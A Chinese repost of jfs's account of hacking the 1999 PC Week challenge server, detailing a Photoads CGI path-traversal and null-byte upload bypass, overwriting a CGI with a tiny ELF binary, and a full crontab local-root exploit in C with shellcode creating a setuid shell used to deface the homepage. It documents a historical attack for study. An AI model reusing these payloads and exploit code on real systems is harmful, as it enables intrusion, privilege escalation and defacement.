通行证│用户名: 密码: 验证码: 验证码,看不清楚?请点击刷新验证码 电信网通铁通移动   在线
文章搜索:
热门搜索:红客 黑鹰 红客技术 安全动画 红客培训
首页 文章 软件 动画 资源 励志 论坛 邮箱 会员 军事 科技 博客 爱心红客 最近更新 800g资源
 业内新闻 漏洞公告 病毒公告 电脑知识 网络知识 菜鸟入门 攻防教程 黑客攻防 安全编程 工具使用 综合安全 个人安全 安全相关 Q Q安全 原创精华 红客人物 站内事件
您现在的位置: 爱国者安全网 >> 文章类 >> 红客教程 >> 网络攻防 >> 文章正文
CGI的一次典型入侵
责任编辑:admin   更新日期:2005-7-6
 
这是我以前看过的一篇文章,看后有点收获,头尾可能有些删减~~贴出来大家共享
PCWEEK为本次评测准备的开场白很有趣:

“悬赏一千美金,来攻击我们的服务

如何对系统的安全进行测试呢?我们首先在两种操作系统上安装类似的应用程序,然后让全
世界来攻击。与过去不同的是,本次评测中服务器上运行的是现实世界里的程序,具体说来
,是一个为报刊类站点设计的分类广告系统。这个测试不但是对操作系统的考验,同时也是
对整体的测试。在NT平台,我们将采用ASP、IIS、MTS和SQLServer 7;在Linux平台上,我们
将采用Apache和mod_perl。

游戏规则

所要攻击的目标是securelinux.hackpcweek.com和securent.hackpcweek.com。赢得1000美金
礼卷的条件是成功的修改主页,或者取得一个名为top secret的绝密文件。我们拒绝任何人
在没有取得成功的情况下,破坏服务器的运行。”

PCWEEK给出了简单的服务器配置清单。针对NT的配置清单很长,完全可以说这种配置是完美
的了;而对于RedHat的配置短到了只有20行,每行大都只有三五个单词,可以说一般的用户
配置都会接近这个水准。以下是对RedHat的配置清单:

“在磁盘上配置多个分区/usrvartmpvar(原文如此)。
安装RedHat 6.0 ,并且不安装SMTP、FTP和NEWS等服务
安装Photoads (一个第三方软件,由perl写成的CGI,实现用户载入分类广告的功能,详见
http://www.hoffice.com/),

Chmod 777 the photoads directory ,
Chmod 755 cgi-bin ,
Chmod 766 kas_data.pl ,
Chmod 766 adnumber.num ,
Chmod 766 ads_data.pl ,
Chmod 755 all *.cgi files ,

为photoads配置缺省目录,
将上载文件的长度设置为0,
删除不需要的用户 。
Set root password to (to what?)。
在inetd.conf中禁止所有的服务
以用户nobody来配置并运行 Apache服务器,
禁止SSI(server side includes )。
这种配置实现了security-howto中的建议和apache group的安全提示。”

PCWEEK到底真的实现了security-howto的建议了么?实际是没有的,作为一个系统管理人员
,你的责任就是维护系统的运行,其中包括很重要的一点,就是更新有漏洞的软件。而且UN
IX是极其灵活的系统,这种软件的更新完全可以自动的由系统来进行。

在如上所述的情况下,PCWEEK就将两台服务器安置在了防火墙后面,并且保留web服务的80号
端口,以便访问和攻击。

结果是显而易见的,但对于一个有关操作系统的安全性的测试又是很有戏剧性的 。首先是在
RedHat上安装的第三方软件存在漏洞,使一名叫jfs的cracker得以进入系统;然后jfs他们利
用一个已知的系统漏洞(修补程序已经发布一个月左右了)得到了root的权限,并成功的修
改了服务器的主页。

以下是jfs对攻击过程的叙述:

“一次实际攻击的解析(攻击PCWEEK服务器)By Jfs

首先,我必须搜集有关要攻击的主机的信息,看一看开放了哪些端口,有哪些端口可能进行
攻击。经过一翻检查,我发现大部分的端口不是被防火墙保护着,就是由于tcp wrapper的原
因而不能使用,只有HTTP服务器可以下手了。

lemming:~# telnet securelinux.hackpcweek.com 80
Trying 208.184.64.170...
Connected to securelinux.hackpcweek.com.
Escape character is '^]'.
POST X HTTP/1.0
HTTP/1.1 400 Bad Request
Date: Fri, 24 Sep 1999 23:42:15 GMT
Server: Apache/1.3.6 (Unix) (Red Hat/Linux)
(...)
Connection closed by foreign host.
lemming:~#

好,这是一台运行apache和Red Hat的机器。从PCWEEK的提示得知这台服务器也应该运行mod
_perl,但是mod_perl会在服务器上留下一些特征,而这台服务器所发的报头却并没有这些迹
象。

Apache 1.3.6并没有附加任何远端的用户可以使用的CGI程序,但我并不知到RedHat是否加了
一些进去,所以我试着攻击了一些常见的CGI漏洞(tect-cgi,wwwboard,count.cgi……)


在试验无效的情况下,我试着找出这个web站点的目录结构,从HTML 页所获得的信息我推断
,这个web服务器在DocumentRoot下有如下目录:

/
/cgi-bin
/photoads/
/photoads/cgi-bin

我马上对photoads产生了兴趣,我想这很可能是一个可安装的软件包。经过一翻网上搜索,
我终于发现这个photoads是一个由“The Home Office Online”(www.hoffice.com)发行的
商业软件包,售价149美圆,并且允许你使用其原代码(perl),这样你就可以修改它了。

我求助于一位朋友,让我看看他的photoads。这使我有机会看到securelinux上所使用的软件
的拷贝。

我看了缺省的安装文件,我可以从广告数据库(在http://securelinux.hackpcweek.com/p
hotoads/ads_data.pl)中获得所有用户的广告口令。我也试着访问配置文件 /photoads/cg
i-bin/photo_cfg.pl ,但由于服务器的安装设置使我没法达到目的。

我发现,通过脚本/photoads/cgi-bin/env.cgi(类似test-cgi)我可以知道DocumentRoot目
录在文件系统中的位置(/home/httpd/html),另外还有一些其他的有用的数据服务器以
什么用户的身份运行的,这次是以nobody来运行的)。

所以,我首先试着用SSI(Server side includes )和mod_perl 向HTML中嵌入命令,方法如
下:

for SSI
for mod_perl

通过一个perl正则表达式,服务器的脚本过滤掉了大部分输入,几乎没有多少空间可以使用
。但我也发现了一个由用户付值量,它在变成HTML代码之前并没有对奇怪的变量值进行检查
,这就给我了一个机会可以在HTML代码中嵌入命令,以便服务器端解析。

post.cgi的36行如下:

print "you are trying to post an AD from another URL: $ENV{'HTTP_REFERER'}\n"
;

$ENV{'HTTP_REFERER'}是一个由用户提供的变量(为了保证正确性,你得了解一些HTTP报头
的工作原理),这个变量可以让我们把任何HTML代码加进去,不管代码到底是什么样。

该真正的用getit.ssi和getit.mod-perl(两个小程序,此处略去)工作了

我们采用以下的方法:

lemming:~# cat getit.ssi | nc securelinux.hackpcweek.com 80

但不幸的是这台机器并未配置SSI和mod_perl,我钻进了死胡同。

我决定从CGI脚本中找漏洞。perl脚本的漏洞大多出在open()、system()或者 ''调用中。前
者允许读写和执行,而后两个允许执行。

程序中并没有后两个情况出现,但的确有几个open()调用:

lemming:~/photoads/cgi-bin# grep 'open.*(.*)' *cgi | more
advisory.cgi: open (DATA, "$BaseDir/$DataFile");
edit.cgi: open (DATA, ">$BaseDir/$DataFile");
edit.cgi: open(MAIL, "|$mailprog -t") || die "Can't open $mailprog!\n";
photo.cgi: open(ULFD,">$write_file") || die show_upload_failed("$write_file $!")
;
photo.cgi: open ( FILE, $filename );
(...)

对 $BaseDir 和 $DataFile我们动不了什么手脚,因为它们都是在配置文件中定义的,程序
运行以后是改变不了的。

$mailprog 也是如此
但其余的两行值得好好研究

photo.cgi 的132行如下:

$write_file = $Upload_Dir.$filename;
open(ULFD,">$write_file") || die show_upload_failed("$write_file $!");
print ULFD $UPLOAD{'FILE_CONTENT'};
close(ULFD);

如果我们可以修改变量$write_file,那么我们就可以写系统中任何文件了。这个$write_fi
le变量定义如下:

$write_file = $Upload_Dir.$filename;

$Upload_Dir 是由配置文件定义的,我们没法修改,那么$filename呢?

photo.cgi的226行如下:

if( !$UPLOAD{'FILE_NAME'} ) { show_file_not_found(); }
$filename = lc($UPLOAD{'FILE_NAME'});
$filename =~ s/.+\\([^\\]+)$|.+\/([^\/]+)$/\1/;
if ($filename =~ m/gif/) {
$type = '.gif';
}elsif ($filename =~ m/jpg/) {
$type = '.jpg';
}else{
{&Not_Valid_Image}
}

$filename的值来自$UPLOAD{'FILE_NAME'}(是由表格提交给CGI的变量中解析出的)。为了
让我们到我们希望到的地方,$filename必须满足一个正则表达式,我们不能简单的发送我们
需要的文件名,例如“../../../../../../../../etc/passwd ”就是不行的,它在通过如下
的替换后,将什么也得不到:

$filename =~ s/.+\\([^\\]+)$|.+\/([^\/]+)$/\1/;

如果$filename与这个正则表达式相匹配,那么它将变成ASCII码的1(SOH)。除此之外$fil
ename还必须包括“gif”或“jpg”,否则它将无法通过Not_Valid_Image的检查。

在进行了一翻尝试,我终于在Phreck的有关perlCGI的安全的文章的帮助下发现了 /jfs/\..
/../../../../../../export/www/htdocs/index.html%00.gif 可以让我们提交index.html文
件(我们必须修改的主页)。但在上载前,我们还得想办法骗过一些脚本代码。

我们发现如果我们以POST的方法发送表格的话,我们就不能蒙混过关(%00将不会被解析),
所以我们只能用GET了。

在photo.cgi的256行,我们可以看到一段代码会对我们刚刚上载的文件的的内容进行检查,
如果文件不符合特定的图象规格(主要是宽、高和大小),脚本将会删除或改写该文件,这
是我们所不希望见到的,至少我们要在服务器上留下一些我们的资料。(注意,photo.cgi脚
本可以用来上载一个由你的广告使用的广告图片。)

PCWEEK在配置文件中将ImageSize设置成0,所以我们不用去管有关JPG的部分,让我们将注意
力集中于GIF部分。

if ( substr ( $filename, -4, 4 ) eq ".gif" ) {
open ( FILE, $filename );
my $head;
my $gHeadFmt = "A6vvb8CC";
my $pictDescFmt = "vvvvb8";
read FILE, $head, 13;
(my $GIF8xa, $width, $height, my $resFlags, my $bgColor, my $w2h) = unpack $gHea
dFmt, $head;
close FILE;
$PhotoWidth = $width;
$PhotoHeight = $height;
$PhotoSize = $size;
return;
}

photo.cgi的140行如下:

if (($PhotoWidth eq "") || ($PhotoWidth > '700')) {
{&Not_Valid_Image}
}
if ($PhotoWidth > $ImgWidth || $PhotoHeight > $ImgHeight) {
{&Height_Width}
}

所以我们不得不把$PhotoWidth设置成小于700,不是"",并且比ImgWidth小(缺省是350)。

所以有$PhotoWidth !="" && $PhotoWidth<350。
对于$PhotoHeight,它必须比$ImgHeight 小(缺省是250)。所以$PhotoWidth = $PhotoHe
ight = 0 正好。从脚本中的付值方法来看,我们只要将该值的第6和9字节置0(NUL)就可以
了。

我们保证我们的FILE_CONTENT符合以上的条件,并继续进行下一步了……

chmod 0755, $Upload_Dir.$filename;
$newname = $AdNum;
rename("$write_file", "$Upload_Dir/$newname");
Show_Upload_Success($write_file);

经过以上的代码,我们的文件被重命名或者说移动到了我们不希望的地方了。

查看有关$AdNum变量值的最后代码,我们看到它只能包含阿拉伯数字:

$UPLOAD{'AdNum'} =~ tr/0-9//cd;
$UPLOAD{'Password'} =~ tr/a-zA-Z0-9!+&#%$@*//cd;
$AdNum = $UPLOAD{'AdNum'};

其他的东西都将被去掉,所以我们不能在这儿使用../../../的蒙骗手法了。

怎么办?rename()函数需要两个路径参数,一个是新的,一个是旧的……等等,这个函数没
有错误检验,所以如果它出错的话,程序就会跳过去,我们怎样能使它出错呢?用一个非法
的文件名。Linux系统缺省的最长的文件名的限制是1024(MAX_PATH_LEN),所以如果我们能
让这个脚本把我们的文件重命名成一个比1024字节长的文件的话就行了。

下一步我们将提交一个大约1024字节的广告编号(AD number)。

现在,脚本没有如设想的运行,因为他只允许我们上传存在的广告编号的图片。(做那个10
^1024的数字花了我们不少的时间。)

又是一个死胡同?

没有,那个不完善的输入检测函数让我们有机会进一步的改进这个数字。简单的浏览一下ed
it.cgi这个脚本,想一想,如果你输入一个名字然后是回车,最后是那1024个数字,会发生
什么?哈哈,有了。

那个long.adnum文件让我们有机会建立一个新的广告。

当我们可以骗过了广告编号检查后,我们可以利用脚本办到以下的事情:

建立/改写任何nobody有权限的文件,并且可以使该文件是我们希望的内容(除了为GIF留的
有NUL的文件头)。

好,让我们试试。

确认脚本overwrite.as.nobody允许我们得到以上的权限。

直到目前为止一切良好,我们调整脚本以便改写index.html……但是没成功。

可能是我们没有权限改该文件(可能因为文件的所有者是root,或者文件没设置写权限)。
怎么办?我们另寻出路吧。

我们试着改写一个CGI,看看我们能否让它为我们工作。这样我们就可以寻找“绝密”文件了
,那就胜利在望了。

我们修改了overwrite脚本,很好,他允许我们改写CGI!

我们决定不修改那些重要的(相对严谨)的CGI,我们选择了advisory.cgi(管它是干什么的
呢?)。

这样我们就可以上传一个能允许我们执行命令的shell脚本了,太好了……

但是,当你以CGI的形式运行shell脚本的时候,你得在脚本的第一行对此加以说明,就象下
面这样:

#!/bin/sh
echo "Content-type: text/html"
find / "*secret*" -print

但是,别忘了,我们的第6、7、8、9字节必须是0或者一个很小的值,以适应有关图形大小的
规定……

#!/bi\00\00\00\00n/sh

这样是不行的,内核只读了前5字节,然后就试图去执行“#!/bi”……就我所知,还没有我
们可以运行的3个字节(外加#!两个字节)的shell。又是死胡同……

一个ELF(linux的缺省的可执行文件的格式)文件给了我们答案,结果我们成功的将那几个
字节置成了0x00,太妙了。

现在我们需要将一个ELF可执行文件放到远端的服务器上。我们必须使它符合URL的标准,因
为我们只可以用GET的方法,不能用POST,这样我们至少要符合最长URI的限制。对于Apache
服务器最长的URI为8190字节,别忘了我们还要用一个很大的1024个字符的数字,所以给我们
的符合URL标准的ELF程序留下的空间只有7000字节了。

它只能是个小程序了。

lemming:~/pcweek/hack/POST# cat fin.c
#include
main()
{
printf("Content-type: text/html\n\n\r");
fflush(stdout);
execlp("/usr/bin/find","find","/",0);
}

编译后如下:

lemming:~/pcweek/hack/POST# ls -l fin
-rwxr-xr-x 1 root root 4280 Sep 25 04:18 fin*
lemming:~/pcweek/hack/POST# strip fin
lemming:~/pcweek/hack/POST# ls -l fin
-rwxr-xr-x 1 root root 2812 Sep 25 04:18 fin*
lemming:~/pcweek/hack/POST#

然后让它符合URL的标准:

lemming:~/pcweek/hack/POST# ./to_url < fin > fin.url
lemming:~/pcweek/hack/POST# ls -l fin.url
-rw-r--r-- 1 root root 7602 Sep 25 04:20 fin.url

要在我们的脚本中使用的话,它是过大了。

我们只有靠我们的直觉来手工编辑这个二进制文件了,我们决定将这个可执行文件中“GCC”
字符串后的所有内容都删除。这么做几乎没有任何理论的根据,如果要根据的话就得研究EL
F规范了,但是这么做似乎还可以:

lemming:~/pcweek/hack/POST# joe fin
lemming:~/pcweek/hack/POST# ls -l fin
-rwxr-xr-x 1 root root 1693 Sep 25 04:22 fin*
lemming:~/pcweek/hack/POST# ./to_url < fin > fin.url
lemming:~/pcweek/hack/POST# ls -l fin.url
-rw-r--r-- 1 root root 4535 Sep 25 04:22 fin.url
lemming:~/pcweek/hack/POST#

现在,我们合并我们的工作成果,然后运行……

我们查看在我们目录中的名为get、sec、find的文件,希望获得更多的信息。

在这里你会找到to_url 脚本,和一些简单的C文件,这些东西和URL一起解析,就大功告成了


现在我们上载这个CGI,然后用我们喜欢的浏览器访问它:

wgethttp://securelinux.hackpcweek.com/photoads/cgi-bin/advisory.cgi ;

这样我们对服务器上的/ 进行了全面的查找。

但是他们的“绝密”文件没在那,或者以nobody的身份无法访问。

我们尝试了一些命令组合,如locate、ls和一些其他命令,但无济于事。

如果这个文件存在,那么它究竟在哪。

现在问题严重了,必须要root的权限了。正象我的一位朋友说的那样,有现成的为什么不用
呢?所以,根据我们知道的有关那台服务器的情况(Linux,i386,因为我机器就是i386,并
且我的那个ELF文件已经在它上面运行了)。我们查找了软件更新的数据,发现了一个对所有
版本的RedHat都可以利用的crontab漏洞(译者注:细节将在后面讨论)。

你可以在最近的 bugtraq/securityfocus 中找到。太好了,我们根据我们的需要对其加以修
改,显然我们根本不需要一个交互的根用户shell,我们只要做一个nobody可访问的suidroo
t的shell就行了:

#include
#include
#include
#include
#include
char shellcode[] =
"\xeb\x40\x5e\x89\x76\x0c\x31\xc0\x89\x46\x0b\x89\xf3\xeb"
"\x27w00w00:Ifwewerehackerswedownyourdumbass\x8d\x4e"
"\x0c\x31\xd2\x89\x56\x16\xb0\x0b\xcd\x80\xe8\xbb\xff\xff"
"\xff/tmp/w00w00";
int main(int argc,char *argv[])
{
FILE *cfile,*tmpfile;
struct stat sbuf;
int x;
chdir("/tmp");
cfile = fopen("/tmp/cronny","a+");
tmpfile = fopen("/tmp/w00w00","a+"); // ,S_IXUSR|S_IXGRP|S_IXOTH);
fprintf(cfile,"MAILTO=");
for(x=0;x<96;x++)
fprintf(cfile,"w00w00 ");
fprintf(cfile,"%s",shellcode);
fprintf(cfile,"\n* * * * * date\n");
fflush(cfile);
fprintf(tmpfile,"#!/bin/sh\ncp /bin/bash /tmp/.bs\nchmod 4755 /tmp/.bs\n");
fflush(tmpfile);
fclose(cfile),fclose(tmpfile);
chmod("/tmp/w00w00",S_IXUSR|S_IXGRP|S_IXOTH);
execl("/usr/bin/crontab","crontab","/tmp/cronny",(char *)0);
}

经我们修改后,使这个shell指向了/tmp/.bs。我们重新上载CGI,并且用我们的浏览器使其
运行,然后我们就准备进行测试了。

我们做了一个CGI进行初次测试,它将执行ls /tmp。我们确实实现了suidroot。

( ... )

execlp("/bin/ls","ls","-ula","/tmp",0);

( ... )

我们接着将一个用来替换index.html的文件上载到了/tmp/xx。

( ... )

execlp("/tmp/.bs","ls","-c","cp /tmp/xx /home/httpd/html/index.html",0);

( ... )

应该做最后要运行的程序了:

( ... )

execlp("/tmp/.bs","ls","-c","cp /tmp/xx /home/httpd/html/index.html",0);

( ... )

游戏到此结束了。

共耗时20小时。

最后我们将我们的资料上载并拷贝到了一个安全并且nobody可见的地方,然后向讨论组发了一个消息并且开始等待回音了。 
  • 上一篇文章:
  • 下一篇文章:
  • 最近更新
    固顶文章 爱国者安全网2007年度优秀版主评选
    普通文章 瑞星公司01月11日发布 每日计算机病毒及木马播报
    普通文章 破解博彩神助(专注彩票) V2.8.01
    推荐文章 推荐:跨站脚本执行漏洞代码的六点思路
    普通文章 Windows系统下的远程堆栈溢出 实战篇
    普通文章 Windows系统下的远程堆栈溢出 原理篇
    普通文章 MsSQLServer是如何加密口令的
    普通文章 浅谈国内的渗透评估过程
    普通文章 Dvbbs8.1 0DAY(通杀Access和mssql版本)
    普通文章 微软:我们的代码比赛门铁克更安全
    热门文章
    普通文章提醒:“求职信”病毒1月6日发作
    普通文章两条“蠕虫”蠢蠢欲动
    普通文章5“网银大盗”狂盗储户14万 武汉男子被判10年
    普通文章“木马事件”终告结束 英语学习网重获新生
    普通文章搜索引擎不再喜欢新米,并非只是CN米
    普通文章蠕虫"威金"新变种 "小熊猫"屠宰多个计算机系统
    普通文章元旦上网谨防“Real蛀虫” 通过视频文件传播
    普通文章入侵工具Knark的分析及防范
    普通文章认清本质 计算机病毒防治常遇问题
    普通文章饶过现代Anti-Rookit工具的内核模块扫描(ZT)
    精彩专题